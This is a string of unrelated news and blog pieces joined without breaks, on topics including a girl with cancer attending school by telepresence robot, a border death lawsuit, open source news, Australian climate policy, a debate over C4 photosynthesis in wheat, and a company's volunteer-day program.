In the past three weeks, it’s the robot — fondly nicknamed PAVS, for Peyton’s Awesome Virtual Self — that connects her to the lessons she can’t physically attend. She joins in the day’s activities, talks to teachers and navigates her classroom, her face showing in real time on a raised iPad screen on the four-foot, 15-pound rolling machine.
1 of 22 Full Screen Autoplay Close Skip Ad × Peyton’s Awesome Virtual Self View Photos An advanced robot gives a 10-year-old girl with cancer a chance to attend school — remotely. Caption An advanced robot gives a 10-year-old girl with cancer a chance to attend school — remotely. Peyton Walton, 10, plays with her bird at her home in Poolesville, Md. Peyton will use a robot to attend school while she is in New York receiving radiation treatment for her cancer. Jabin Botsford/The Washington Post Buy Photo Wait 1 second to continue.
“I really like math and science, so I just like being there and learning what they have to teach me,” the fifth-grader said.
For Peyton, the two-way robot system gives her a greater sense of normalcy, a stronger connection to friends, more focus on the familiar rhythms of childhood that preceded her whirl of medical treatments. The experience is being studied by officials in Montgomery County, where the technology has become a pilot program.
“We really are just beginning, and we are learning a lot,” said Kara Trenkamp, the district’s director of technology integration and school support. “The initial start has been very positive.”
The school-based robot appears to be a first in Maryland public schools, according to state officials, and it has sparked other interest, too. Educators in neighboring Fairfax County, Va., recently dropped by to take a look — and they liked what they saw. “We have high hopes for the possibilities,” said Kurt Mills, Fairfax’s program manager for out-of-school support, who said the district has been looking at the same kind of technology.
At Poolesville Elementary, students and staff have embraced Peyton’s robot, which resembles a small Segway, with a rolling base and an iPad at the top.
“It’s really cool,” said fifth-grader Tilly Gaughan. “She’d probably get a little bored in the hospital and get a little sad not seeing her friends.” With the robot, “she can do school and still have fun, seeing her friends and stuff.”
Some of her friends waved at Peyton when they saw PAVS one recent day. She gave a wave back from New York. Her mother said the robot’s importance goes beyond instruction; it’s also her daughter’s primary way of socializing, penetrating the isolation that comes with serious illnesses.
“It makes all the difference,” said her mother, Lynn Schaeber, who pressed on all fronts to get the device for Peyton, doing research, writing letters and meeting with educators.
Schaeber said the technology enables Peyton to keep up, preventing gaps in her learning. But more important is the sense of normalcy that comes from being able to do “the one thing that kids do — go to school,” she said. “We forget as parents that school is their life. They wake up preparing to go to school, and the last thing they do at night is homework.”
Peyton’s doctors in Washington and New York say that her experience is the first they’ve seen with robot technology.
“I think it’s a really exciting technology that could potentially benefit lots of kids,” said AeRang Kim, a pediatric oncologist at Children’s National Health System.
Peyton Walton, 10, participates in a group activity at Poolesville Elementary School in Poolesville, Md. (Jabin Botsford/The Washington Post)
Double Robotics, which made Peyton’s device, has sold about 5,000 such “telepresence robots” since 2012, mostly for use in the business world, said Sara Broyles, a company spokeswoman. About 350 K-12 schools in the United States have bought such robots from the company, she said.
On Long Island, a robot stood in for a ninth-grader last year after the teen had emergency surgery and was about to miss an important week of classes. The robot, borrowed from his mother’s employer, took his place, connecting him from home, said Roberta Tropper, principal at Long Island School for the Gifted.
“It was easier than anybody anticipated,” she said. “It was almost seamless. The first day it was a real novelty for the children here. But after that, everyone just adapted to it.”
Satyandra K. Gupta, director of the Maryland Robotics Center at the University of Maryland, said that although the industry is growing, it might take time before telepresence robots become common in schools. It’s not just an issue of acquiring the technology — Peyton’s tech costs about $3,000 — but also raises questions about logistics and privacy, he said.
“If you’re going to have a robot walk the hallways, it could create challenges,” Gupta said.
In Poolesville, the school and community took the leap because of Peyton.
Students walk to class as Peyton practices using a robot system at Poolesville Elementary School. (Jabin Botsford/The Washington Post)
Peyton practices using a robot system at Poolesville Elementary School. (Jabin Botsford/The Washington Post)
Her friends describe the pre-teen as funny, smart and kind. She likes to play basketball and lacrosse and is a big fan of animals. An aspiring veterinarian, she hopes one day to attend her father’s alma mater, Duke University, or Harvard University, which she says she has heard is a “very good” school.
No one had an inkling that Peyton was sick until late June, as the family was moving to Maryland from Warren, N.J. Peyton complained about an ache in her side, and her mother noticed a bump in her abdomen. Doctors determined it was a tumor the size of a grapefruit, and diagnosed her illness as a rare sarcoma of the liver. Peyton was given a 30 to 50 percent chance of survival, her mother said.
“My heart just dropped,” Schaeber said.
As the family made plans for Peyton’s treatment, Schaeber began thinking about her daughter’s education. “I knew immediately that we needed some type of technology so she could remotely access school,” she said.
Schaeber had heard about two school robots in New Jersey — a concept she thought was perfect for Peyton, who takes school seriously.
“Cancer obliterates a child’s control,” her mother said. “Not knowing the length of what her life would be, I wanted every moment to be as full and normal as possible.”
The robot provides video conferencing, so a student can see and hear a teacher’s lesson, much like Skype or Google Hangouts. But it also allows a student to be a part of class, zooming in on a presentation, moving to a small group discussion or turning to hear better as a teacher walks around the room.
Valaree Dickerson, a Poolesville town commissioner, said word of the family’s struggle spread fast through the small community. People brought meals and looked for other ways to help.
Many in the town of 5,500 — nestled in an agricultural reserve — came together to raise money through a charity bike ride, bracelet sales and a penny “war” between the grades. Two children asked their birthday party guests to donate rather than give gifts. The school’s PTA president, Rebecca Munster, took over the effort to buy Peyton one of the robots.
“Once we started doing the research on the robot, we thought, what an amazing concept,” Dickerson said.
Jon Allaire, an instructional technology specialist, places the robot in a classroom. (Jabin Botsford/The Washington Post)
Peyton is given a thumbs up by her teacher at Poolesville Elementary School. (Amanda Voisard/For the Washington Post)
Poolesville’s fifth-grade class gave Peyton handmade creations each time she headed off to chemotherapy at Children’s National. She completed six rounds of the treatment in October, and she celebrated with her classmates.
“No Mo Chemo!” read the large sheet cake that Peyton’s family brought to school.
Doug Robbins, Poolesville Elementary’s principal, said he remembers the October day when Peyton first saw the robot: She lit up like a kid eyeing a Christmas gift.
Robbins said the school was guided by a basic question: “In a very challenging situation, a life-changing situation, what can we do to provide her with a sense of normalcy so that when she needs these treatments, she’s not being stripped of everything?”
In New York, Peyton is staying at the Ronald McDonald House on the Upper East Side. She and her mother share a room with big windows that overlook the rush and wonder of the city. High-rises tower just beyond their street. Taxi horns blare.
Peyton has lost most of her long dark-blonde hair to chemotherapy and wears one of her many knit hats when she appears on the robot’s screen every morning.
Sitting at a small desk near the window, Peyton starts class at the same hour as most of her far-away peers, just after 9 a.m. She has propped up her iPad to control the robot and see into her Poolesville classroom. She takes out a worksheet.
It’s another day of long division.
Peyton and her mother, Lynn Schaeber, try to re-establish a lost connection while Peyton attends class at Poolesville Elementary School remotely from her room in the Ronald McDonald House in New York. (Amanda Voisard/For the Washington Post)
Pencil in hand, Peyton works through a series of problems on paper, the way she would if she were physically there, then turns the robot to join in a small group discussion with two classmates. They talk back and forth about how they did their work, the two girls at their desks looking into Peyton’s face on a screen.
Her teacher, Ken Keegin, singles out the answer for a particular problem, asking the class who got it right.
Peyton raises her hand from 250 miles away.
Peyton has found the technology easy to manage. The controls show up as buttons on the screen of the same iPad she uses for games such as Minecraft. “I play games that are something like this... so it’s pretty simple,” she said.
She doesn’t often steer the robot down school hallways; her classes are connected by internal doors. Typically, an educator sets up the robot in her first class. Peyton moves it within the classroom.
Sometimes there are little glitches that are similar to those any computer user faces: a lost connection, video delays. Once in a while, Peyton inadvertently sends the robot into a wall or a desk. Her teachers and principal say it’s all part of a learning curve. “This is new for everyone, and if there are any kinks, we are working them out,” Keegin says.
Schaeber is advocating for other school systems to buy robots to help children like Peyton.
In social studies one day, where the class is studying the Constitution and the branches of government, Peyton tells her teacher that she’s ready to take her turn at reciting the preamble to the Constitution.
The fifth-grader makes it to class most days, but her radiation therapy — at Memorial Sloan Kettering Cancer Center — occasionally limits her schedule.
Peyton has her position aligned in preparation for radiation treatment. (Amanda Voisard/For the Washington Post)
She steers her robot toward teacher Sharon Zgoda’s desk. “Ms. Z,” as everyone calls her, is a cancer survivor and has made a point of taking Peyton under her wing.
Peyton looks into her iPad at the teacher and begins.
“We the people of the United States, in order to form a more perfect union....”
She does not forget or fumble.
The teacher gives her a top grade — then fist-bumps the computer screen.
Peyton fist-bumps back.York regional police have arrested a 39-year-old man who allegedly threw coffee at a TTC bus driver in Vaughan last month.
It happened around 8 a.m. on June 8, after the man boarded a 105 Dufferin bus at the intersection of Dufferin Street and Dufferin Hill Drive, south of Rutherford Road.
The driver recognized the man as someone who had been verbally abusive to him a month before and stole a transfer as he got off the bus.
On the morning of June 8, the driver asked him to leave. The man refused and walked to the back of the bus, but the driver wouldn’t move until the man got off.
The man got angry, walked to the front of the bus and tossed coffee at the driver from a thermal travel mug. The driver wasn’t hurt.
Last week, police released surveillance video and photos of the assault in the hopes someone could help identify him.
Pavel Osorio, from Vaughan, was arrested in Richmond Hill on Tuesday and charged him with assault with a weapon. He is expected to appear in court on Thursday.Cruz Velazquez Acevedo began convulsing shortly after he drank the liquid methamphetamine he’d brought with him from Tijuana, Mexico.
The 16-year-old had just crossed the U.S.-Mexico border to San Diego and was going through the San Ysidro Port of Entry. He was carrying two bottles of liquid that he claimed was apple juice. U.S. Customs and Border Protection officers told him to drink it to prove he wasn’t lying, court records say.
The teen took four sips.
Then, he began sweating profusely. He screamed and clenched his fists.
In a matter of minutes, his temperature soared to 105 degrees, his family’s attorney said. His pulse reached an alarming rate of 220 beats per minute — more than twice the normal rate for adults.
“Mi corazón! Mi corazón!” Acevedo screamed, according to court records — “My heart! My heart!”
He was dead about two hours later.
Now, more than three years after his death, the United States has agreed to pay Acevedo’s family $1 million in a wrongful-death lawsuit brought against two border officers and the U.S. government.
[Thousands of ICE detainees claim they were forced into labor, a violation of anti-slavery laws]
Cruz Velazquez Acevedo, 16, died in 2013 after U.S. Border Protection officers told him to drink liquid methamphetamine, according to a legal complaint. (Courtesy of Eugene Iredale)
The family’s attorney, Eugene Iredale, acknowledged that the teen did something wrong when he tried to bring drugs into the United States on Nov. 18, 2013.
“But he’s a 16-year-old boy with all the immaturity and bad judgment that might be characteristic of any 16-year-old kid,” Iredale told The Washington Post. “He was basically a good boy, he had no record, but he did something stupid. In any event, the worst that would’ve happened to him is that he would’ve been arrested and put in a juvenile facility for some period of time. …
“It wasn’t a death penalty case. To cause him to die in a horrible way that he did is something that is execrable.”
Iredale said he does not know where or how Acevedo got the drugs, or why he brought them into the United States.
“It’s typical for people who are drug smugglers to approach kids and offer them $150 to smuggle drugs across the border,” he said. “We’re never going to know in this case because Cruz died. He knows it’s something he shouldn’t be bringing.”
Acevedo crossed the border through the pedestrian entrance at the San Ysidro Port of Entry at about 6:40 p.m. on that November night. Iredale said the teen was carrying his passport and his border crossing card, which allows Mexican citizens to enter the United States and travel within a certain distance for tourism purposes. In California and Texas, the distance is up to 25 miles from the border; New Mexico and Arizona allow noncitizens to travel for up to 55 miles and 75 miles, respectively.
The two Border Protection officers, Adrian Perallon and Valerie Baird, believed the teen was carrying a deadly controlled substance, but they “coerced and intimidated” him into drinking the liquid, according to a complaint. The boy was taken to a hospital almost an hour after he had sipped the methamphetamine.
He was pronounced dead just before 9 p.m.
Iredale called the officers’ treatment of Acevedo “the most inhuman kind of cruelty.”
[These California teachers mocked students for skipping school on immigrant boycott day]
“I’m not prepared to say they knew for certain that it was going to kill him. … It’s obvious that they suspected from the beginning that it’s meth,” Iredale said. “Playing a cruel joke on a child is not something that’s justifiable in any way. They have test kits available that would’ve given results in two to three minutes.”
Iredale said the officers did test the liquid for drugs, but only after the teen started overdosing.
He also cited testimony by another border officer who said Baird confessed minutes after the incident.
“I asked him what it was, he said it was juice,” Baird told the other border officer, according to Iredale. “I said to him then, ‘prove it.’ ”
Perallon and Baird are still employed by the Customs and Border Protection in San Diego, the agency said in a statement.
“Although we are not able to speak about this specific case, training and the evaluation of CBP policies and procedures are consistently reviewed as needed,” the statement said.
Iredale said Acevedo’s death prompted an internal affairs investigation, but neither officer was disciplined. When asked about the internal affairs investigation, a Customs and Border Protection spokeswoman said the agency had no further comment.
Richard Tolles, an attorney for Baird, said his client and Perallon had sought a summary judgment on the case and were waiting for a hearing on their requests when the government decided to settle.
Perallon’s attorney did not return a call from The Washington Post.
The U.S. attorney’s office for the Southern District of California declined to comment.
[California chief justice to ICE: Stop ‘stalking’ immigrants at courthouses]
The complaint alleged violations of constitutional rights, including the right to not be subjected to punishment without due process. It also accused government officials of not adequately training border officers. Tolles said there was no misconduct on his client’s part “that would’ve risen to the level of denial of due process.”
“There is no violation of any clearly established constitutional right,” he said.
In a motion to dismiss filed on behalf of Baird in 2015, her attorneys said Acevedo wasn’t a U.S. citizen and had no connections with the United States that entitled him to any constitutional rights.
“Nonresident aliens are entitled to constitutional protections only if they have substantial voluntary connections with the United States,” the attorneys argued.
Iredale said the settlement was the result of several conversations between the parties. The money has been paid to Acevedo’s parents, Iredale said.
A previous version of this story, citing the complaint, incorrectly referred to the defendants as agents with the U.S. Customs and Border Protection. The defendants are Border Protection officers who work at the port of entry in Southern California.
Read more:
What the U.S. learned from turning away refugees who fled the Nazis
A severely injured Iraqi toddler has been in the U.S. for three months — without his parents
Federal agents conduct immigration enforcement raids in at least six statesOpen source news for your reading pleasure.
July 26 - August 1, 2014
In this week's edition of our open source news roundup, we take a look at OpenStack as the future of cloud computing, New Zealand's new government website, the stable release of CoreOS, and more!
OpenStack, the future cloud computing?
Alan Ho writes in an article on ZDNet about why OpenStack could well be the future of cloud computing. OpenStack just recently celebrated its 4th birthday. "While still a comparatively 'young' technology, its potential is significant," writes Ho.
The article covers OpenStacks benefits such as flexibility and versatility, agility, and a collaborative and open source environment preventing vendor lock-in. Ho ends with: "Given such an array of operational advantages, it is hard to argue that OpenStack will not have at least a large role to play in the cloud computing world."
New Zealand's new government site is a radical change
On FutureGov Asia Pacific we can read about New Zealand's government website, Govt.NZ, bringing together information and services. This change can be found on the site, where content is clearly written and grouped by topic, making it easier for people to get what they need from the government. Traditionally, service portals like this are grouped by agency.
The site is based on open source, the government is sharing the code, and Creative Commons licensing is used for content. Also, all research and user testing is shared with the public.
CoreOS stable release
At TechWeekEurope, the stable release of CoreOS was announced. As a SysAdmin gift, CoreOS CEO Alex Polvi announced in a blog the production ready distro.
CoreOS is designed for massive server deployments and utilises the Docker containerisation system for applications. The CoreOS project learned its "lessons from web giants such as Google, Facebook, Twitter, and others, all of whom run services at a very large scale," writes Polvi.
DARPA and NICTA release microkernel seL4
The US Defence Advanced Research Project Administration (DARPA) and Australia's National Information and Communication Technology Agency (NICTA) have released the seL4 microkernel as open source, as announced on Linux Magazine. L4 is a ultra-secure, embedded microkernel operating system used in flying drone devices and mobile devices worldwide.
As the article covers, now that the secure and stable seL4 is open source, other companies can start exploring its options. For example, in "mission critical embedded systems such as medical implants and navigation devices".
Make 2014 the summer you learn how to code!
In a press release, the European Commission raises awareness for digital skills and the importance of kids learning how to code. The press release is a call to action for participation in the second EU Code Week. This event takes place across Europe, October 11-17.
The press release covers several events which kids can attend, but also mentions online platforms such as Scratch and Codecademy. The European Commission's statement on why coding is important: "Basic coding skills will be needed for many jobs in the near future. More than 90% of professional occupations nowadays require some ICT competence." If you want to know more about EU Code Week, read our interview with one of the ambassadors of last year's event.
In other news
Open source news break
Want to take our open source news on the go? Check out Bryan Behrenshausen's podcast, Weekly Open Source News Break, on Hacker Public Radio.
A big thanks, as always, to Opensource.com summer intern Bryan Behrenshausen, staff member Michael Harrison, and moderator Scott Nesbitt for their help this week.A new prototype out of the Greenpeace Innovation Lab may be the key to unlocking the future of online activism. It’s a game that allows |
23.5% of the EU’s electricity needs.
Global momentum
Global momentum is building on action on climate change. As in the world’s biggest polluters, the most common types of action include carbon pricing, reducing pollution from coal-fired power plants, and investing in renewable energy.
The number of countries and sub-national jurisdictions putting a price on carbon continues to increase: 39 countries are putting a price on carbon – up from 35 in 2013. A further 26 countries are currently considering introducing carbon pricing.
Worldwide, the number of countries with policies supporting renewable energy also continues to increase. In early 2014, 144 countries had renewable energy targets and 138 had renewable energy support policies in place (up from 138 and 127, respectively, in the previous year).
Global efforts to drive down emissions will take time to impact on the overall global trajectory. Despite the positive progress, global greenhouse gas emissions continue to increase and Earth continues to warm: 2013 was the 37th year in a row of above-average global temperature.
In Australia heatwaves have already become more extreme, more frequent and longer-lasting, while bushfire conditions in many areas have worsened. The potential impacts on our nation are clear.
Australia: two steps forward, one step back
Once a leader on climate action, Australia is now lagging behind its major allies and trading partners. Recent uncertainty over the Renewable Energy Target has resulted in a 70% drop in investment in renewable energy in 2014 compared with last year. And any emission reductions achieved over the past few years in Australia’s electricity sector have effectively been cancelled out since the repeal of the carbon pricing mechanism.
Since the carbon price repeal, National Electricity Market emissions were up 4 million tonnes on the equivalent period last financial year. This increase in emissions corresponds with a growth in the share of coal in electricity generation, up from 69.6% in July 2014 to 76.4% in October 2014, while output from hydro power has dropped.
Just this week the Intergovernmental Panel on Climate Change has reminded us that deep cuts in emissions are needed if we are to keep global warming within 2C this century. The international community will have an opportunity to get serious about climate change at the UN Climate Summit in Paris in December 2015.
Before that, of course, is this month’s G20 Summit. Host nation Australia has a duty to contribute to global efforts to tackle climate change, but at the moment it’s not at the races and is no longer a top dog.
Martin Rice is the Research Manager of the Climate Council, an independent non-profit organisation. The latest Climate Council report on ‘Lagging Behind: Australia and the global response to climate change’ written by Tim Flannery, Gerry Hueston and Andrew Stock was published with donations from founding friends and supporters.Robots could play a pivotal role in saving China from its manufacturing problems. (Photo : Reuters )
In the world of the robot industry, China is not to be left behind. According to Beijing's Economic Observer, the country is starting to cut up in the high-tech industry. Foreign firms have recently made price cuts as the competition is starting to get stiff.
What does the recent price cuts made by foreign companies mean to the Chinese robot industry?
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These price cuts are highly indicative of the nation's current status regarding its robot industry. According to deputy secretary-general of the China Robot Industry Alliance (CRIA) Yao Zhiju, foreign firms have been feeling increasing pressure as of late due to the onslaught of Chinese robot makers in recent years.
Such is the case with foreign robotics firms' decision to launch SCARA (Selective Compliance Assembly Robot Arm) products for only 50,000 yuan ($8,000). Among SCARA products' features is the capability to lift a maximum capacity of 3 kilograms.
There are currently about 500 robotics manufacturers in the country, said Yao, and the industry is booming. 2014 was an especially profitable year for the robotics industry as the year brought in sales of 100 million yuan ($16 million) to several businesses.
To catch up with other technologically advanced nations, local robotics companies have branched out to developing robotics components. It's a cost-effective move, as importing components from other suppliers costs more.
Despite Chinese robotics firms' best efforts, China is still lagging behind foreign counterparts, especially in the auto sector, according to Song Jian of GSK CNC Equipment Co., a Guangzhou-based company.
Hope is not lost, however, as China might have the chance to steal the spotlight from foreign competitors in the simple smart robots market, as these robots are relatively easier to produce as compared to robotics used in the auto industry.Chakrabarti Defends Corbyn Over Anti-Semitism
The launch of Labour's anti-Semitism inquiry was hit by more controversy today - here, the chair Shami Chakrabarti defends Jeremy Corbyn's behaviour.
In the latest of a string of remarkable days that Corbyn himself has called "torrid", the launch of the inquiry saw one MP leave in tears and criticism of the Labour leader's own comments.
Chakrabarti joined Shelagh in the LBC studio shortly after and spoke about Corbyn, the harrassment of the MP Ruth Smeeth who left the room visibly upset and the future of Labour.
"He read it yesterday evening, he had no editorial control," said Chakrabarti of Corbyn.
"What was so important was he said: not in my party, not on my watch, not in our name. I hope that will be heard by his critics and his supporters alike.
"I'm sorry that there are a few things that have been spun in the media...have kind of cast a shadow over two months' really hard, open-hearted work."
Jeremy Corbyn sparked more reaction when his comments were reported as linking the Israeli government to Islamic State.
Chakrabarti also dealt with that, saying: "I learned something today.
"I'll take my chances in the broadcast media...if things get spun in print, whether in the old-fashioned papers or online. Trust your ears or your eyes...it's harder to spin in broadcast than it is in words.
"I read the leader's speech five minutes before we went into the main room...I listened very carefully to what he said.
"He reflected my report."
"His point was: when you have Jewish neighbours or friends, or Muslim neighbours or friends and something bad happens in the world, don't ask them to be the first to explain or defend or condemn.
"It's not their fault. They are feeling just as bad as you."In our humble opinion, the debate about the conclusions drawn in a recent paper regarding the possibility of C 4 photosynthesis being active in wheat seeds is one of the more interesting scientific debates raging at present.
The debate started with a paper published by Rangan et al last year which described findings they had made about differential expression of genes implicated in C 4 photosynthesis within wheat seeds. These expression levels differed to the gene expression levels in other parts of the plant. We wrote an article describing the research here.
The response to that article (and our post) was that the evidence provided, although novel and interesting, wasn’t enough to justify the conclusion that C 4 photosynthesis was in fact occurring within the wheat seed. Noting the criticisms, we wrote an updated piece covering two published responses to the Rangan article.
But the debate hasn’t stopped there…
Back and forth we go
The journal Plant Physiology published a series of letters between the researchers who published the initial research and two researchers with the differing opinion. The series of letters outlines the main points of difference between the propositions.
In defence of the C 4 pathway conclusion
The series starts with a defence of the conclusions drawn from the research. Citing the earlier work of Bort et al (1995), a paper which described labeled carbon assimilation differences between leaves and seeds of wheat and barley and which found no significant difference between the location of the assimilated labeled carbon, the defenders argued that the research did not distinguish between carbon assimilated in the glumes covering the seed (the Bort et al paper) and carbon assimilated in the pericarp (the Rangan et al research).
Dissection of Wheat Glume showing glume and grain.
Figure from article showing cross-section of wheat seed, particularly the pericarp.
The distinction between the two asserted is that the Rangan et al research shows that pericarp, as opposed to the glume, demonstrates elevated C 4 gene transcription.
Further, it is suggested that the carbon source supplying the pericarp is not from the capture of external CO 2 but instead comes from the endosperm capturing respired carbon, the carbon being derived from bicarbonate in the developing seed tissue, and moving outwards to the pericarp for use in the asserted C 4 pathway. For this reason it is suggested that the conclusions drawn by Bort et al, that there was no evidence for C 4 photosynthesis in the ears of C 3 cereals from their labeled-carbon pulse experiment, is a false basis to deny their conclusion as it failed to account for this inside-out carbon delivery.
To the contrary
The first point raised in contradiction to the Rangan et al research repeats the earlier criticism – that although the gene expression profiles reported in the disputed paper are novel, interesting and worthy of further research, they alone are not enough to justify the conclusions made. To be able to make such a conclusion, evidence demonstrating flux of the metabolites through the C 4 pathway. Increased expression of the relevant genes is not enough to conclude that the pathway is operating in the seed particularly as all the genes involved in C 4 photosynthesis are also expressed in C 3 plants.
Although the evidence for the existence of the pathway in wheat seeds is scarce and contradictory, the defenders of the rebuttal suggest that the Bort et al article is evidence that the PEP carboxylase activity assists in intermediate reactions in metabolic pathways other than C 4 photosynthesis.
Further, the evidence in the Rangan et al paper suggested that the expression of genes encoding the Rubsico enzyme was minimal. The contention is that, if the increased transcription of C 4 genes is relied upon as evidence of increased activity within the pathway, reduced transcription of this vital photosynthetic enzyme must lead to the conclusion that the increase in PEP carboylase activity must be in aid of some pathway other than a photosynthesis pathway. Coupled with this, the low concentration of CO 2 in the pericarp, where the Rubisco is located, is contrary to the high concentration of CO 2 around Rubsico common in C 4 tissues. Accordingly, expending energy to run a C 4 pathway when the carbon would flow to Rubsico within the pericarp without the need for the pathway is contrary to expected energy conservation measures.
…and back again
In response to the criticism that evidence of flux through the pathway is lacking, the defenders of the Rangan et al paper suggest that such evidence has already been reported in a 1976 paper in the C 3 intermediate barley and the relevant proteins isolated in research reported in 1986. It is argued that their research has showed that C 4 specific versions of the genes were expressed in the seeds compared to the C 3 versions expressed in the leaves.
In relation to the Rubisco levels, the Rubsico levels reported in the paper were for the whole seed, not just the pericarp and earlier work has shown that Rubsico is specifically expressed in the pericarp with very limited levels in the endosperm. As such, it is argued that the although the levels were rather limited in the seed as a whole, they are in fact present in high concentrations in the pericarp, the site where the C 4 pathway is said to concentration CO 2 levels.
Returning to the problem of the Bort et al paper, the researchers again suggest that the experiment conducted in that research could not have tested for the possibility of a C 4 pathway supplying CO 2 to the pericarp from within the seed, after which it would be utilised by Rubsico concentrated in the pericarp. Accordingly, they argue that the conclusions of that study fail to invalidate their conclusions.
As for the possibility that CO 2 could more efficiently diffuse to the pericarp, it is contended that if that was the case it would not be concentrated enough at the site of the Rubisco and would therefore all too easily escape the seed. Their contention is that the presence of a C 4 pathway in the seed is necessary for adequate CO 2 concentration to the pericarp-located Rubisco.
…and one last response
The final of the letters concedes that the labeling of CO 2 inside the endosperm may yield different results compared to the labeling study in the Bort et al paper, but cites the 1976 research as using isolated pericarps in their experiment and therefore doesn’t provide appropriate evidence support the C 4 pathway inside the endosperm.
In relation to the diffusion versus C 4 pathway dispute, it is suggested that any CO 2 which is not passed from the endosperm to the pericarp through intermediates in the pathway would diffuse outwards following Fick’s law whether or not it moves through the tissue as malate. If it moved as malate, again the cost of such a pathway would be more than if it moved by simple diffusion.
Conclusion
The last paragraph of the final letter sums up the research as it stands and the debate about the possible conclusions that can be drawn. The research in the Rangan paper provides “an exiting new piece of the puzzle” in the quest to understand how wheat seeds increase carbon gain. It would seem that to put the debate to rest, the flux of the carbon through a C 4 pathway must be demonstrated unequivocally along with measurement the location and activity of the required enzymes.
A passionate and reasoned debate over plant science which is wonderful to see.
AdvertisementsThe torch for next year’s Winter Olympics in Sochi is like a Kalashnikov rifle, Russian President Vladimir Putin said Thursday, during a visit to St. Petersburg. Putin watched as the torch was taken apart and put back together, prompting him to quip that the torch’s gas pipe resembles the barrel of the famous Soviet-designed weapon.
MOSCOW, May 30 (R-Sport) - The torch for next year’s Winter Olympics in Sochi is like a Kalashnikov rifle, Russian President Vladimir Putin said Thursday, during a visit to St. Petersburg. Putin watched as the torch was taken apart and put back together, prompting him to quip that the torch’s gas pipe resembles the barrel of the famous Soviet-designed weapon.
"No matter what you try and make in Russia, it always turns out like a Kalashnikov,” he joked.
Putin's remarks drew smiles from International Olympic Committee president Jacques Rogge and Sochi 2014 chief organizer Dmitry Chernyshenko.
Russian Internet users have compared the silver-and-red torch's shape to a flame used in the logo for Russian state gas firm Gazprom.
More than 14,000 torchbearers are set to take part in the record-breaking 65,000 kilometer route.
The torch relay will start on October 7 and end with the February 7 opening ceremony.
A host of athletes have already signed up to take part in the relay, including hockey star Alex Ovechkin, pole vault queen Yelena Isinbayeva, footballer Alexander Kerzhakov and 12-time Olympic medal-winning gymnast Alexei Nemov.
Earlier Thursday, Putin attended the unveiling of the medals for the Sochi 2014 Olympic and Paralympic Games.
The Kalashnikov was adopted by the Soviet Army in 1949 and has been a mainstay of armed forces around the world since then, in various versions.
Putin has been shown shooting a range of firearms during his time in office, contributing to his image as a macho leader. Perhaps his most famous shot was taken with a non-lethal weapon, in an incident in 2009 when he tranquilized a Siberian tiger with a dart gun.
Updated with detail of IOC response to Putin's comments, description of torchCommunity service has long been part of the imageOne story. Our emphasis on giving back grew out of something that was close to our hearts — my business partner and most cherished friend, Joel Pearlman, has a daughter with autism. Danielle has a beautiful spirit and the entire company has grown to love her and champion autism as a cause. As an organization, we started getting involved with autism charities, like the Friendship Circle of Michigan, and inviting employees to participate in events like fundraisers and 5K races. While our team members demonstrated tremendous support of Joel’s family through their involvement, we started to realize that if community was as important to our company as we claimed it to be, we needed to widen our definition to include causes that were close to the hearts of our team members, too.
We arrived at this conclusion while we were in the midst of one of the toughest years in company history and digesting the news that we might not hit our budgeted sales or profit numbers. The situation prompted us to step back and take a hard look at our company culture and how we could deepen our investment in what was most important to the business: our team members, our customers and our community. We gathered everyone together to have a conversation about our values, our finances, and where the organization was headed. As a result, an enhanced cultural shift took place.
We rolled out the Great Game of Business open-book management program. Our team members quickly got involved in planning initiatives to save money and boost sales — instead of losing money that year, we made a profit. We also strengthened our commitment to the community and created an opportunity for everyone to take a work day to do volunteer work that was meaningful to them. The program was simple: as part of their personal time-off benefits, team members were given the option of taking a day to give back in whatever way they saw fit. We were excited to support causes that were important to our team members while also embedding community service into the company DNA.
Despite universal buy-in for the program in theory, in practice, not as many people as we expected took advantage of their allotted Community Day. Though we implemented the program in 2014, participation remained low until 2016 as we learned what it took to make the program successful. We went to our team members and asked what was preventing them from taking their paid volunteer time off.
While we thought the simplicity of the program gave them freedom to pursue a cause of their choice, it turned out that the lack of constraint was a challenge. Some weren’t sure which cause to support, so the opportunity fell to the wayside. Others knew which cause was most important to them, but were unsure of how to get involved. With low accountability and little guidance, it was easy for Community Days to fall to the bottom of the priority list.
Hoping to reinvigorate the initiative, we looked to team members who had demonstrated a passion for community service in how they used their Community Day. At imageOne, we have team members located around the country, and sometimes they are the only team member in their state. Three years prior, we had hired Kristy Swope, a technician in Pennsylvania who was interested in joining the team largely due to our company culture.
That year, Kristy had spent her Community Day taking a kayak tour to remove invasive species from a local lake. After completing it, she used the experience as a way to build relationships with other remote team members and those at imageOne headquarters. She shared photos from the experience at a team meeting and enthusiastically shared resources to help other team members find similar opportunities near them. We asked Kristy if she would be interested in serving as imageOne’s Community Day champion, and she agreed.
We knew that if we wanted community to be a pillar of imageOne’s culture, we would have to invest in building an effective program that truly inspired team members to make community service a meaningful part of their lives. We wanted to devote our resources to experiences that were more creative than simply donating to an annual fundraiser. We envisioned a program that would get people out into the world and returning to the office with renewed energy; sharing stories, connecting with one another, and becoming happier individuals not only at work, but in the totality of their lives. We gave Kristy a budget and she came back with a plan to help connect people to the causes they were interested in and the resources to volunteer.
Today, Community Days are part of our benefits package for all team members. Everyone is given one paid day off per year to give back to the community in any way they’d like. In 2017, we made it a company goal to achieve 100 percent participation. Beyond the cultural impact of team members inspiring one another and learning more about who they are, it’s also a way for them to directly impact company goals. At the time of publication, we’ve exceeded 60 percent participation, and we’re making a final push to get to 100 percent by the end of the year.
By offering support and holding team members accountable, we’ve seen record participation. We now ask that all team members share their experience with photos on our internal communication tool, Yammer. At every monthly company meeting, Kristy shares Community Day updates. Following the meeting, a questionnaire is sent out about the meeting and one of the questions asks whether they’ve completed their Community Day. If they haven’t, Kristy reaches out to talk about matching them to a volunteer opportunity. She asks what causes interest them, how far they can travel, and what challenges they may be facing. She then follows up with a list of opportunities with dates, locations and links, and an offer to help make the arrangements.
As we continue to emphasize Community Days, we’ve found that team members — onsite and remote alike — are plugging into our culture and connecting in new ways. When bad things occur in the world, it’s common for distance and circumstance to leave us feeling helpless. But when our remote team members share how they are using their Community Days to make a difference, it makes the entire team feel like imageOne is doing its part to make the world a better place.
Consider our team member Chris, who is located in Houston, Texas. The recent hurricane didn’t affect his family and their home, but his friends and neighbors were impacted. Chris jumped right into action by helping friends rip out drywall, neighbors clean up their properties and connect displaced individuals and emergency workers with food distributors. Beyond his Community Day, Chris continued to devote his time to the recovery efforts and shared his work with the larger imageOne team.
